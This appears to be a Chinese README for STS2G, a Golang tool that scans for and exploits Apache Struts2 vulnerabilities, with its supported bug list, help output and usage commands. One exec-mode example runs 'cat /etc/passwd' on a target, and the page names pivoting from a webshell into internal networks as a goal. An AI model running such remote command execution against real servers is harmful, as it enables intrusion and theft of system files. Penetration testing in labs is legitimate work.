Struts2全漏洞扫描Golang版

STS2G

项目地址:https://github.com/x51/STS2G
Struts2漏洞测试-Golang版,部分POC参考了众多优秀项目如Struts2-Scan,漏洞测试环境采用vulhub.

目前两种模式scanexec支持:
struts2-001
struts2-005
struts2-007
struts2-008
struts2-009
struts2-012
struts2-013
struts2-015
struts2-016
struts2-045
struts2-046
struts2-048
struts2-053
struts2-057

开发目的

1、适用于命令行下操作,比如webshell下测试内网struts2漏洞.
2、可编译Windows/Linux平台可执行文件.
3、单文件运行.

使用方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
D:\Struts2-Test>ST2SG.exe -h
NAME:
ST2SG - Struts2 Scanner Written in Golang

USAGE:
ST2SG --url http://xxxxxxx.com/test.action --vn 15 --mode scan

AUTHOR:
x51 <[email protected]com>

COMMANDS:
help, h Shows a list of commands or help for one command

GLOBAL OPTIONS:
--mode value Specify work mode
--vn value Vulnerability number (default: 0)
--url value Set target url
--cmd value Exec command(Only works on mode exec.)
--data value Specific vulnerability packets
--help, -h show help (default: false)

avatar

默认扫描模式:

ST2SG --url http://xxx.com/index.action --mode scan

指定漏洞扫描模式:

ST2SG --url http://xxx.com/index.action --vn 15 --mode scan

命令执行模式:

ST2SG --url http://xxx.com/index.action --vn 15 --mode exec --cmd "cat /etc/passwd"

自定义参数:

基于以上方法,分两种情况,自定义GET参数名,和自定义POST数据包内容,POST方式需要在数据包中指定一下要测试的参数并用fuckit标记出来.

补充

1、强烈建议使用vn参数;
2、自定义POC只需在utils中修改为自己的即可;
3、部分漏洞支持获取webpath,功能函数已经在各自漏洞模块中实现(func GetWebPath),可自行调用;